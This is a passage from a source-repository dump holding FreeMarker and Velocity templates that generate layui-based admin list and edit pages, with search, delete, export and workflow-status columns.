CoreUtil.sendPut(\"/${classInfo.className?uncap_first}/update\",data.field,function (res) {\n                                layer.close(loadIndex);\n                                if (0 === res.code) {\n                                    layer.close(dIndex);\n                                    layer.msg(res.msg, {icon: 1});\n                                    insTb.reload({page: {curr: 1}});\n                                } else {\n                                    layer.msg(res.msg, {icon: 2});\n                                }\n                            });\n                        }\n                        return false;\n                    });\n                }\n            });\n        }\n\n        /* 删除 */\n        function doDel(obj) {\n            layer.confirm('确定要删除选中数据吗？', {\n                skin: 'layui-layer-admin',\n                shade: .1\n            }, function (i) {\n                layer.close(i);\n                CoreUtil.sendDelete(\"/${classInfo.className?uncap_first}/delete\",obj.ids,function (res) {\n                    layer.msg(res.msg, {time:1000},function () {\n                        layer.msg(res.msg, {icon: 1});\n                        insTb.reload({page: {curr: 1}});\n                    });\n                });\n            });\n        }\n\n\n    });\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single-v3/list.html.v1.ftl",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"UTF-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1\">\n    <title>XXX管理</title>\n    <link rel=\"stylesheet\" href=\"/static/assets/libs/layui/css/layui.css\"/>\n    <link rel=\"stylesheet\" href=\"/static/assets/module/admin.css?v=317\"/>\n</head>\n<body>\n<div class=\"layuimini-container\">\n    <div class=\"layuimini-main\">\n\n        <fieldset class=\"table-search-fieldset\">\n            <legend>搜索信息</legend>\n            <div style=\"margin: 10px 10px 10px 10px\">\n                <form class=\"layui-form layui-form-pane\" action=\"\">\n                    <div class=\"layui-form-item\">\n                        <div class=\"layui-inline\">\n                            <label class=\"layui-form-label\">${classInfo.classComment}Id</label>\n                            <div class=\"layui-input-inline\">\n                                <input type=\"text\" name=\"${classInfo.className?uncap_first}Id\" autocomplete=\"off\" class=\"layui-input\">\n                            </div>\n                        </div>\n                        <div class=\"layui-inline\">\n                            <label class=\"layui-form-label\">${classInfo.classComment}名称</label>\n                            <div class=\"layui-input-inline\">\n                                <input type=\"text\" name=\"${classInfo.className?uncap_first}Name\" autocomplete=\"off\" class=\"layui-input\">\n                            </div>\n                        </div>\n                        <div class=\"layui-inline\">\n                            <button id=\"searchBtn\" type=\"submit\" class=\"layui-btn layui-btn-primary\" lay-submit  lay-filter=\"data-search-btn\"><i class=\"layui-icon\"></i> 搜 索</button>\n                        </div>\n                    </div>\n                </form>\n            </div>\n        </fieldset>\n\n        <script type=\"text/html\" id=\"toolbarDemo\">\n            <div class=\"layui-btn-container\">\n                <button class=\"layui-btn layui-btn-normal layui-btn-sm data-add-btn\" lay-event=\"add\">  <i class=\"layui-icon layui-icon-addition\"></i>${classInfo.classComment} </button>\n               <#-- <button class=\"layui-btn layui-btn-normal layui-btn-sm layui-btn-danger data-delete-btn\" lay-event=\"del\"> 删除${classInfo.classComment} </button>-->\n            </div>\n        </script>\n\n        <table class=\"layui-hide\" id=\"currentTableId\" lay-filter=\"currentTableFilter\"></table>\n\n        <script type=\"text/html\" id=\"currentTableBar\">\n            <a class=\"layui-btn layui-btn-xs data-count-edit\" lay-event=\"edit\">编辑</a>\n            <a class=\"layui-btn layui-btn-xs layui-btn-danger data-count-delete\" lay-event=\"delete\">删除</a>\n        </script>\n\n        <script type=\"text/html\" id=\"typeTemplate\">\n            {{#  if(d.type == '1'){ }}\n            常规\n            {{#  } else if(d.type =='2') { }}\n            专项\n            {{#  } else { }}\n            其它\n            {{#  } }}\n        </script>\n        <script type=\"text/html\" id=\"statusTemplate\">\n            {{#  if(d.status == '1' ){ }}\n            <i class=\"layui-icon layui-icon-ok\"></i>已发布\n            {{#  } else { }}\n            - 未发布\n            {{#  } }}\n        </script>\n    </div>\n</div>\n\n<!-- js部分 -->\n<script type=\"text/javascript\" src=\"/static/assets/libs/layui/layui.js\"></script>\n<script type=\"text/javascript\" src=\"/static/assets/js/common.js?v=317\"></script>\n\n<script>\n    layui.use(['form', 'table'], function () {\n        var $ = layui.jquery,\n            form = layui.form,\n            table = layui.table;\n\n        table.render({\n            elem: '#currentTableId',\n            method: 'post',\n            contentType: 'application/json',\n            url: '${classInfo.className?uncap_first}/list',\n            toolbar: '#toolbarDemo',\n            defaultToolbar: ['filter', 'exports', 'print', {\n                title: '提示',\n                layEvent: 'LAYTABLE_TIPS',\n                icon: 'layui-icon-tips'\n            }],\n            cols: [[\n                {type: \"checkbox\", width: 50, fixed: \"left\"},\n                <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    {field: '${fieldItem.fieldName}', title: '${fieldItem.fieldComment}', sort: true}, <#if fieldItem_has_next> </#if>\n                </#list>\n                </#if>\n                /* 需要时间请自行解封\n                {title: '创建时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.createTime, 'yyyy-MM-dd')}}</div>\"},\n                {title: '修改时间', sort: true,templet: \"<div>{{layui.util.toDateString(d.updateTime, 'yyyy-MM-dd')}}</div>\"},\n                */\n                {title: '操作', minWidth: 400, templet: '#currentTableBar', fixed: \"right\", align: \"center\"}\n            ]],\n            limits: [20 , 50 , 100],\n            limit: 20,\n            page: true\n        });\n\n        var result;\n        /**\n         * submit(data-search-btn):监听搜索操作\n         */\n        form.on('submit(data-search-btn)', function (data) {\n            result = JSON.stringify(data.field);\n\n            //执行搜索重载\n            table.reload('currentTableId', {\n                page: {\n                    curr: 1\n                }\n                , where: {\n                    searchParams: result\n                }\n            }, 'data');\n\n            return false;\n        });\n\n        var searchBtn = $(\"#searchBtn\");\n        /**\n         * toolbar监听事件:表格添加按钮\n         */\n        table.on('toolbar(currentTableFilter)', function (obj) {\n            if (obj.event === 'add') {\n                var index = layer.open({\n                    title: '添加',\n                    type: 2,\n                    shade: 0.2,\n                    maxmin:true,\n                    shadeClose: true,\n                    area: ['1000px', '700px'],\n                    content: '${classInfo.className?uncap_first}/edit?id=0',\n                });\n                return false;\n            }else if(obj.event === 'del') {\n                var checkStatus = table.checkStatus('currentTableId')\n                    , data = checkStatus.data;\n                layer.alert(JSON.stringify(data));\n            }\n        });\n        /**\n         * checkbox(currentTableFilter):表格复选框选择\n         */\n        table.on('checkbox(currentTableFilter)', function (obj) {\n            //console.log(obj)\n        });\n\n        /**\n         * tool监听事件:表格编辑删除等功能按钮\n         */\n        table.on('tool(currentTableFilter)', function (obj) {\n            var data = obj.data;\n            if (obj.event === 'edit') {\n                var index = layer.open({\n                    title: '编辑',\n                    type: 2,\n                    shade: 0.2,\n                    maxmin:true,\n                    shadeClose: true,\n                    area: ['1000px', '700px'],\n                    content: '${classInfo.className?uncap_first}/edit?id='+obj.data.${classInfo.className?uncap_first}Id,\n                });\n                return false;\n            } else if (obj.event === 'delete') {\n                layer.confirm('确认删除该记录吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"${classInfo.className?uncap_first}/delete\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id},\n                        success: function (responseData) {\n                            if (responseData.code === 200) {\n                                layer.msg(responseData.msg, function () {\n                                    obj.del();\n                                });\n                            } else {\n                                layer.msg(responseData.msg, function () {\n                                });\n                            }\n                        }\n                    });\n                    layer.close(index);\n                });\n            }else if (obj.event === 'publish') {\n                layer.confirm('确定要发布吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"${classInfo.className?uncap_first}/publish\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id,\"status\":\"1\"},\n                        success: function (responseData) {\n                            searchBtn.click();\n                            layer.msg(responseData.msg, function () {\n                            });\n                        }\n                    });\n                    layer.close(index);\n                });\n            }else if (obj.event === 'unpublish') {\n                layer.confirm('确定要停止吗？', function (index) {\n                    $.ajax({\n                        type: 'POST',\n                        url: \"${classInfo.className?uncap_first}/publish\",\n                        data:{\"id\":obj.data.${classInfo.className?uncap_first}Id,\"status\":\"0\"},\n                        success: function (responseData) {\n                            searchBtn.click();\n                            layer.msg(responseData.msg, function () {\n                            });\n                        }\n                    });\n                    layer.close(index);\n                });\n            }\n        });\n\n    });\n</script>\n<script>\n\n</script>\n\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus-single-v3/list.html.vm.ftl",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:shiro=\"http://www.pollix.at/thymeleaf/shiro\"\n      xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n  <meta charset=\"UTF-8\">\n  <title>Title</title>\n  <link rel=\"stylesheet\" href=\"/layui/css/layui.css\">\n  <link rel=\"stylesheet\" href=\"/css/custom.form.css\">\n  <link rel=\"stylesheet\" href=\"/css/public.css\" media=\"all\">\n  <style>\n\t\telement.style { width: 180px; }\n\t\t.layui-form-label.layui-required:after{\n\t        content: '*';\n\t\t    color: red;\n\t\t    position: absolute;\n\t\t    margin-left: 4px;\n\t\t    font-weight: bold;\n\t\t    line-height: 1.8em;\n\t\t    top: 6px;\n\t\t    right: 5px;\n\t    }\n  </style>\n</head>\n<body>\n<!-- 新增修改的DIV页面-begin,默认hidden -->\n<div class=\"panel panel-default operation\" hidden>\n<!--   <div class=\"panel-heading title\"></div> -->\n<div class=\"layui-card-body\">\n#*\n<fieldset class=\"layui-elem-field layui-field-title\" style=\"margin-top: 20px;\">\n    <legend>基本信息</legend>\n</fieldset>\n*#\n<form class=\"layui-form \" action=\"\" lay-filter=\"info\" style=\"#*width: 700px;*#margin-top: 10px\">\n###遍历新增修改表单\n#foreach($column in $columns)\n  #if($column.columnName == $pk.columnName)\n    <input name=\"${column.attrname}\" id=\"${column.attrname}\" hidden/>\n  #else\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"creat\")  || $column.columnName.toString().contains(\"deleted\")  || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n\n<div class=\"layui-form-item\" #if($column.columnName == $pk.columnName) ,hide:true #end  #if($column.comments=='') style=\"display:none\" #end>\n\n#if($column.dataType != 'text') <div class=\"layui-inline\"> #end\n      <label class=\"layui-form-label #if($column.isNull == 'NO') layui-required #end \" >${column.comments}</label>\n      <div class=\"#if($column.dataType == 'text') layui-input-block #else layui-input-inline #end\"> \n##注解支持，不展示\n#if($column.dataType == 'datetime')\n\t<input type=\"${column.attrname}\" name=\"${column.attrname}\"  id=\"${column.attrname}\" lay-verify=\"#if($column.isNull == 'NO')required|#end date\" #if($column.isNull == 'NO') placeholder=\"yyyy-MM-dd\" #end autocomplete=\"off\" class=\"layui-input\">\n#elseif($column.columnName.toString().contains(\"dict\"))\n\t<select id=\"${column.attrname}\" name=\"${column.attrname}\" lay-filter=\"${column.attrname}\"  th:with=\"type=${@sysDictService.getType('${column.columnName}')}\"  >\n        <option value=\"\">请选择</option>\n        <option th:each=\"dict : ${type}\" th:text=\"${dict.label}\" th:value=\"${dict.value}\"></option> \n    </select>\n#elseif($column.dataType == 'text')\n\t    <textarea  #if($column.isNull == 'NO') placeholder=\"请输入内容\" #end class=\"layui-textarea\" name=\"${column.attrname}\"  id=\"${column.attrname}\"></textarea>\n#else\n\t#if($column.isNull == 'NO') \n\t<input type=\"${column.attrname}\" name=\"${column.attrname}\"  id=\"${column.attrname}\"  lay-verify=\"required|${column.attrname}\" lay-max=\"${column.maxLength}\" #if($column.isNull == 'NO') placeholder=\"请输入${column.comments}\" #end  autocomplete=\"off\" class=\"layui-input\">\n\t#else\n\t<input type=\"text\" name=\"${column.attrname}\"  id=\"${column.attrname}\"  #if($column.isNull == 'NO') placeholder=\"请输入${column.comments}\" #end autocomplete=\"off\" class=\"layui-input\">\n\t#end\n#end\n    </div>\n  #if($column.dataType != 'text') </div> #end\n \n </div>\n#end\n#end\n<div class=\"layui-form-item\" id=\"buttonSave\">\n  <div class=\"layui-input-block\">\n    <button type=\"submit\" class=\"layui-btn\" lay-submit=\"\" lay-filter=\"submit\">保存</button>\n    <button  class=\"layui-btn layui-btn-primary\" id=\"btn_cancel\">返回</button>\n  </div>\n</div>\n</form>\n</div>\n</div>\n<!-- 新增修改的DIV页面-end -->\n\n<!-- 查询列表的DIV页面-start -->\n<div class=\"layuimini-container\">\n<div class=\"layuimini-main\">\n<div class=\"table_div\">\n   <blockquote class=\"layui-elem-quote layui-text\">\n      在此你可以对<span class=\"label-info\"><strong>${comments}</strong></span>进行编辑!若有操作及使用问题及常见“问题”：请查看<a href=\"#\">操作手册</a>！\n   </blockquote>\n  <div id=\"searchParam\"  shiro:hasPermission=\"${classname}:list\">\n    <div class=\"layui-form-item\">\n###遍历查询条件       \n#foreach($column in $columns)\n#if($column.columnName != $pk.columnName && $column.isNull == 'NO') \n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"create\")  || $column.columnName.toString().contains(\"deleted\")   || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n#if($column.dataType == 'datetime')\n      <div class=\"layui-input-inline\">\n\t<input type=\"${column.attrname}\" name=\"${column.attrname}Condition\"  id=\"${column.attrname}Condition\" placeholder=\"yyyy-MM-dd\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n#else\n      <div class=\"layui-input-inline\">\n    <input type=\"${column.attrname}\" name=\"${column.attrname}Condition\"  id=\"${column.attrname}Condition\" class=\"layui-input\"  autocomplete=\"off\" placeholder=\"请输入${column.comments}\">\n      </div>\n#end\n#end\n#end\n      <div class=\"layui-input-inline \">\n        <button class=\"layui-btn\" onclick=\"search()\"  id=\"search\">查询</button>\n        <button class=\"layui-btn\"   id=\"export\">导出全部</button>\n      </div>\n    </div>\n  </div>\n  <!-- 渲染列表，上面的是工具栏 -->\n  <table class=\"layui-table\" id=\"showTable\" lay-filter=\"showTable\" ></table>\n</div>\n</div>\n</div>\n<!-- 查询列表的DIV页面-end -->\n<script type=\"text/html\" id=\"toolbar\">\n  <div class=\"layui-btn-container\">\n    <button class=\"layui-btn layui-btn-sm\" lay-event=\"add\"  shiro:hasPermission=\"${classname}:add\">添加</button>\n    <button class=\"layui-btn layui-btn-sm  layui-btn-danger \" lay-event=\"batchDeleted\" shiro:hasPermission=\"${classname}:delete\">删除</button>\n    <!-- \n    <button class=\"layui-btn layui-btn-sm\" lay-event=\"submit\" shiro:hasPermission=\"${classname}:delete\">提交</button>\n     -->\n  </div>\n</script>\n<script type=\"text/html\" id=\"tool\">\n  {{#  if(d.orderState == 0){ }}\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"view\" shiro:hasPermission=\"bizCustomerTest:update\">查看</a>\n  {{#  }else if(d.orderState == 1 &&  d.isOwner != 1){ }}\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"view\" shiro:hasPermission=\"bizCustomerTest:update\">查看</a>\n  {{#  }else if(d.orderState == 1 &&  d.isOwner == 1){ }}\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"edit\" shiro:hasPermission=\"pjProject:update\">编辑</a>\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"file\" shiro:hasPermission=\"bizCustomerTest:update\">附件</a>\n  {{#  }else { }}\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"edit\" shiro:hasPermission=\"pjProject:update\">编辑</a>\n  <a class=\"layui-btn layui-btn-danger layui-btn-xs\" lay-event=\"del\" shiro:hasPermission=\"pjProject:delete\">删除</a>\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"file\" shiro:hasPermission=\"bizCustomerTest:update\">附件</a>\n  {{#  } }}\n</script>\n\n</body>\n</html>\n<script src=\"/layui/layui.all.js\"></script>\n<script src=\"/layui-ext/tableSelect.js\"></script>\n<script src=\"/lib/lay-module/xmSelect/xm-select.js\"></script>\n<script src=\"/js/core.util.js\"></script>\n<script src=\"/js/jquery.js\"></script>\n<!-- 流程flow-mark001,新增流程查看表单详情功能 -->\n<script th:inline=\"javascript\">\n    var pkCode = [[${pkCode}]];\n    var flagType = [[${flagType}]];\n    var id = [[${id}]];\n//     console.log(flagType);\n//     console.log(id);\n    if(\"view\"==flagType){\n\t     $(\".table_div\").hide();\n\t     $(\".operation\").show();\n\t     $(\"#buttonSave\").hide();\n\t     var layer = layui.layer;\n\t     var $ = jQuery = layui.jquery;\n\t     var form = layui.form;\n\t     var element = layui.element;\n\t     $(function () {\n\t         CoreUtil.sendPost(\"/${classname}/findOne\", {id : id}, function (res) {\n\t             if (res.data != null) {\n\t            \t form.val(\"info\", res.data );\n\t                 form.render(); //更新全部\n\t             }\n\t         });\n\t     });\n    }\n</script>\n<script>\n  //获取token\n  var token = CoreUtil.getData(\"access_token\");\n  //地址栏转义token中的#号\n  var tokenQuery = token==null?\"\":token.replace(\"#\", \"%23\");\n  var tableIns1;\n  var table = layui.table;\n  var form = layui.form;\n  var layer = layui.layer;\n  var layedit = layui.layedit;\n  var $ = jQuery = layui.jquery;\n  var laydate = layui.laydate;\n  var numberInput = layui.numberInput;\n  var tableSelect = layui.tableSelect;\n  var layerAdd;\n  //定义lay全局对象\n\n  layui.config({\n        base: '/layui-ext/'\n    }).extend({\n        treetable: 'treetable-lay/treetable',\n        iconPicker: 'icon/iconPicker',\n        numberInput: 'numberInput/js/index'\n    }).use(['numberInput','table', 'layer', 'laydate' ,'form', 'layedit'], function () {\n\tnumberInput = layui.numberInput;\n\t\n    //加载table,数据表格\n    tableIns1 = table.render({\n      elem: '#showTable'\n      , contentType: 'application/json'\n      , headers: {\"authorization\": token}\n      , page: true //开启分页\n      , url: '/${classname}/listByPage' //数据接口\n      , method: 'POST'\n      ,size: 'sm' //小尺寸的表格\n      , parseData: function (res) { //将原始数据解析成 table 组件所规定的数据\n\t        return {\n\t          \"code\": res.code, //解析接口状态\n\t          \"msg\": res.msg, //解析提示文本\n\t          \"count\": CoreUtil.isEmpty(res.data) ? 0 : res.data.total, //解析数据长度\n\t          \"data\": CoreUtil.isEmpty(res.data) ? null : res.data.records //解析数据列表\n\t        }\n      }\n      , cols: [\n        [\n          {type: 'checkbox', fixed: 'left'}, //{type:'radio'}  \n#foreach($column in $columns)\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"create\")  || $column.columnName.toString().contains(\"deleted\")  || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n          {field: '${column.attrname}', title: '${column.comments}', sort: true ##\n#if($column.columnName == $pk.columnName || $column.isNull != 'NO') \n,hide: true ##\n#end\n#if($column.columnName.toString().contains(\"dict_\"))\n, templet: function (item) { ##\n\t            //获取类型对应的字典label\n\t            var datas = \"[[${@sysDictService.getType('${column.columnName}')}]]\".replace(/&quot;/g,\"\\\"\");\n\t            if(item.${column.attrname}%2==0){\n\t\t            return '<span class=\"layui-btn layui-btn-normal layui-btn-xs\">'+CoreUtil.selectDictLabel(datas, item.${column.attrname})+'</span>';\n          \t\t}else{\n\t\t            return '<span class=\"layui-btn layui-btn-warm layui-btn-xs\">'+CoreUtil.selectDictLabel(datas, item.${column.attrname})+'</span>';\n          \t\t}\n\t            // return CoreUtil.selectDictLabel(datas, item.${column.attrname});\n            }\n#end \n\t\t  }, \n#end\n\t\t\t//   流程新增字段   beggin    flow_test1  <!-- 流程flow-mark001,新增流程列表字段，查询流程状态及处理人信息 -->\n          { title: '流程状态', field: 'orderState', align: 'center',width:90, templet: function (d) {\n                  if (d.orderState == 0) {\n                      return '<span style=\"color: #eb7350;\">审批完成</span>'\n                  }else if (d.orderState == 1) {\n\t                  return '<span style=\"color: #00b487;\">审批中</span>'\n                  }else{\n\t                  return '<span style=\"color: blue;\">草稿</span>'\n                  }\n              }\n          },\n          { title: '当前节点', field: 'taskName', align: 'center' ,width:105},\n          { title: '当前处理人', field: 'taskOperatorName', align: 'center' ,width:90},{field: 'isOwner', title: 'isOwner',hide:true },\n          //   流程新增字段   end  <!-- 流程flow-mark001,新增流程列表字段，查询流程状态及处理人信息 -->\n         {field: 'isOwner',hide: true  }, {width: 180, toolbar: \"#tool\", title: '操作', fixed: 'right'}\n        ]\n      ]\n      , toolbar: '#toolbar'\n    });\n\n\n    //表头工具\n    table.on('toolbar(showTable)', function(obj){\n    \tvar checkStatus11 = table.checkStatus(obj.config.id);\n        var data11 = checkStatus11.data;\n        if(data11.length==0){\n          \tlayer.msg(\"请选择要操作的数据列！\");\n        }else {\n\t          var ids11 = [];\n\t          $(data11).each(function (index,item) {\n\t        \t  if(item.orderState==0 || item.orderState==1){\n\t        \t\t  ids11.push(item.orderState);\n\t        \t  }\n\t          });\n\t          if(ids11.length>0){\n\t        \t  layer.msg(\"请选择未发起流程中的数据(禁止操作流程中的数据)！\");\n        \t\t  return;\n\t          }\n        }\n      switch(obj.event){\n        case 'batchDeleted':\n          var checkStatus = table.checkStatus(obj.config.id);\n          var data = checkStatus.data;\n          if(data.length==0){\n            layer.msg(\"请选择要批量删除的列\");\n          }else {\n            var ids = [];\n            $(data).each(function (index,item) {\n              ids.push(item.id);\n            });\n            tipDialog(ids);\n          }\n          break;\n        //<!-- 流程flow-mark001,新增流程提交方案的submit的function -->\n        case 'submit':\n          var checkStatus = table.checkStatus(obj.config.id);\n          var data = checkStatus.data;\n          if(data.length==0){\n            layer.msg(\"请选择要提交的记录\");\n          }else if(data.length > 1){\n            layer.msg(\"请选择要提交的记录（one row each times）\");\n          }else {\n//         \t  window.checkPromission(data[0].createId);\n        \t  data[0]['processName'] = \"submit\";\n        \t  //<!-- 流程flow-mark001,新增流程,指定流程的类型 -->\n        \t  CoreUtil.setData(\"data_doSubmit\",data[0]);\n        \t  console.log(\"data=\"+data);\n              layer.open({\n                  type: 2,\n                  skin: 'layui-layer-admin',\n                  title: \"提交流程\",\n                  shadeClose : false,\n                  area: ['880px', '500px'], //宽高\n                  shade: 0.6, //遮罩透明度\n                  maxmin: true, //允许全屏最小化\n                  anim: 1, //0-6的动画形式，-1不开启\n                  content:  '/table/doSubmit.html',\n                  end: function(){\n                \t  search();\n                  }\n              });\n          }\n          break;\n        case 'add':\n//           $(\".table_div\").hide();\n//           $(\".operation\").show();\n//           $(\".title\").html(\"新增\");\n#foreach($column in $columns)\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"creat\")  || $column.columnName.toString().contains(\"deleted\")   || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end \n#if($column.columnName.toString().contains(\"dict_\"))\n          $(\".operation select[name=${column.attrname}]\").val(\"\");\n#elseif(($column.dataType == 'text'))\n          $(\".operation textarea[name=${column.attrname}]\").val(\"\");\n#else\n          $(\".operation input[name=${column.attrname}]\").val(\"\");\n#end\n#end\n\t\t  layerAdd = layer.open({\n              type: 1,\n              skin: 'layui-layer-admin',\n              area: ['80%', '80%'],\n              shift: 1,\n              shadeClose: true,\n              scrollbar: true,\n              maxmin: true,\n              shade: false,\n              title:  ['新增${comments}' , false],\n              content: $(\".operation\"),\n          });\n          break;\n      };\n    });\n    //列操作\n    table.on('tool(showTable)',function (obj) {\n      var data = obj.data;\n      switch (obj.event) {\n        case 'del':\n          var ids=[];\n          ids.push(data.id);\n          tipDialog(ids);\n          break;\n        case 'edit':\n//           $(\".table_div\").hide();\n//           $(\".operation\").show();\n//           $(\".title\").html(\"编辑\");\n#foreach($column in $columns)\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"creat\")  || $column.columnName.toString().contains(\"deleted\") || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n#if($column.columnName.toString().contains(\"dict_\"))\n          $(\".operation select[name=${column.attrname}]\").val(data.${column.attrname});\n#elseif(($column.dataType == 'text'))\n          $(\".operation textarea[name=${column.attrname}]\").val(data.${column.attrname});\n#else\n          $(\".operation input[name=${column.attrname}]\").val(data.${column.attrname});\n#end\n#end\n\t\t  form.render();\n\t\t  layerAdd = layer.open({\n              type: 1,\n              area: ['80%', '80%'],\n              shift: 2,\n              skin: 'layui-layer-admin',\n              shadeClose: true,\n              scrollbar: true,\n              maxmin: true,\n              shade: false,\n              title:  ['修改${comments}' , false],\n              content: $(\".operation\"),\n          });\n          break;\n        case 'file':\n          data['dictBiztype']='${comments}';\n          CoreUtil.setData(\"biz_rowdata\",data);\n          var index = layer.open({\n              title: '上传附件',\n              type: 2,\n              skin: 'layui-layer-admin',\n              shade: 0.2,\n              maxmin:true,\n              shadeClose: true,\n              scrollbar: true,\n              area: ['80%', '80%'],\n              content: '/index/sysFilesByUser',\n          });\n          $(window).on(\"resize\", function () {\n              layer.full(index);\n          });\n          return false;\n      }\n    });\n    \n    \n//遍历列，并渲染各种表单组件\n#foreach($column in $columns) \n#if($column.columnName != $pk.columnName)\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"create\")  || $column.columnName.toString().contains(\"deleted\")   || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n#if($column.dataType == 'datetime')\n \t//日期+时间\n\tlaydate.render({\n\t    elem: '#${column.attrname}'\n\t    ,type: 'datetime'\n    });\n##elseif($column.columnName.toString().contains(\"dict\"))\n\n#elseif($column.dataType == 'date' )\n\t \t//日期\n\tlaydate.render({\n\t    elem: '#${column.attrname}'\n\t    ,type: 'date'\n    });\n#elseif($column.dataType == 'decimal' )\n\tnumberInput.render(\"#${column.attrname}\", {\n\t    autoSelcet: false,\n\t    max: 10000000000,\n\t    min: 0,\n\t\tstep: 1,\n\t    precision: 2\n\t});\n#elseif($column.dataType == 'int')\n\tnumberInput.render(\"#${column.attrname}\", {\n\t    autoSelcet: false,\n\t    max: 10000000,\n\t    min: 0,\n\t\tstep: 1,\n\t    precision: 0\n\t});\n#end\n#if($column.columnName.toString().contains(\"ref_\"))\n\ttableSelect.render({\n\t\telem: '#${column.attrname}',\n\t\tcheckedKey: 'id',\n\t\ttable: {\n\t\t\turl: '/${classname}/listBySelect?authorization='+tokenQuery,\n\t\t\tmethod: 'POST',\n\t\t\tcontentType: 'application/json',\n\t\t\t parseData: function (res) { //将原始数据解析成 table 组件所规定的数据\n\t\t        return {\n\t\t          \"code\": res.code, //解析接口状态\n\t\t          \"msg\": res.msg, //解析提示文本\n\t\t          \"count\": CoreUtil.isEmpty(res.data) ? 0 : res.data.total, //解析数据长度\n\t\t          \"data\": CoreUtil.isEmpty(res.data) ? null : res.data.records //解析数据列表\n\t\t        }\n\t\t      },\n\t\t\tcols: [ [\n\t\t\t\t\t{ type: 'radio' },\n\t\t\t\t\t{ field: 'id', title: 'ID' ,hide:true},\n\t\t\t\t\t{ field: 'XXXcusname', title: '标题' },\n\t\t\t\t\t{ field: 'XXXfullname', title: '名称' }\n\t\t\t\t] ]\n\t\t},\n\t\tdone: function (elem, data) {\n\t\t\tvar NEWJSON = []\n\t\t\tlayui.each(data.data, function (index, item) {\n\t\t\t\tNEWJSON.push(item.XXXcusname);\n\t\t\t\t$(\"#refId\").val(item.XXXid);\n\t\t\t\tconsole.log('info');  \n\t\t\t})\n\t\t\telem.val(NEWJSON.join(\",\"))\n\t\t}\n\t});\n#end\n#end\n#end\n\n    //导出\n    $('#export').on('click', function () {\n      //原先分页limit\n      var exportParams = {\n        limit: 10000,\n        key: $(\"#key\").val()\n      };\n      CoreUtil.sendPost(\"/${classname}/listByPage\", exportParams, function (res) {\n        //初始化渲染数据\n        if (res.data != null && res.data.records != null) {\n          table.exportFile(tableIns1.config.id, res.data.records, 'xls');\n        }\n      });\n    });\n\n    //删除\n    var tipDialog=function (ids) {\n      layer.open({\n          skin: 'layui-layer-admin',\n        content: \"确定要删除么?\",\n        yes: function(index, layero){\n          layer.close(index); //如果设定了yes回调，需进行手工关闭\n          CoreUtil.sendDelete(\"/${classname}/delete\",ids,function (res) {\n            layer.msg(res.msg, {time:1000},function () {\n              search();\n            });\n          });\n        }\n      });\n    };\n\n    //返回\n    $(\"#btn_cancel\").click(function() {\n    \tlayer.close(layerAdd);\n//       $(\".table_div\").show();\n//       $(\".operation\").hide();\n      return false;\n    });\n\n    //监听保存\n    form.on('submit(submit)', function(data){\n      \n      if(data.field.id===undefined || data.field.id===null || data.field.id===\"\"){\n        CoreUtil.sendPost(\"/${classname}/add\",data.field,function (res) {\n          if(res.code == \"0\"){\n\t          //$(\".table_div\").show();\n\t          //$(\".operation\").hide();\n\t          layer.close(layerAdd);\n\t          search();\n        \t}else{\n        \t\tlayer.msg(res.msg);\n        \t}\n        });\n      }else {\n        CoreUtil.sendPut(\"/${classname}/update\",data.field,function (res) {\n          //$(\".table_div\").show();\n          //$(\".operation\").hide();\n          layer.close(layerAdd);\n          search();\n        });\n      }\n      return false;\n    });\n  });\n\n  //执行查询\n  function search() {\n    //这里以搜索为例\n    tableIns1.reload({\n      where: { //设定异步数据接口的额外参数，任意设\n        '1':'1'\n        //,key: $(\"#key\").val()\n###遍历查询条件       \n#foreach($column in $columns)\n#if($column.columnName != $pk.columnName && $column.isNull == 'NO') \n\t\t,${column.attrname}: $(\"#${column.attrname}Condition\").val()\n#end\n#end\n      }\n      ,page: {\n        curr: 1 //重新从第 1 页开始\n      }\n    });\n  };\n  \n  //根据数据库字段长度及是否必填属性生成校验表单字段长度\n  //lay-verify=\"required|account\" lay-min=\"6\" \n  // https://blog.csdn.net/m0_48373030/article/details/108783184\n    form.verify({\n#foreach($column in $columns) \n#if($column.columnName != $pk.columnName)\n##跳过循环，新增及修改时间字段，注解支持，不展示\n#if($column.columnName.toString().contains(\"creat\")  || $column.columnName.toString().contains(\"deleted\") || $column.columnName.toString().contains(\"update\")) \n\t#break\n#end\n${column.attrname}: function(value, item){\n            var max = item.getAttribute('lay-max');\n            if(value.length > max){\n                return '${column.comments}不能大于'+max+'个字符的长度！';\n            }\n        } 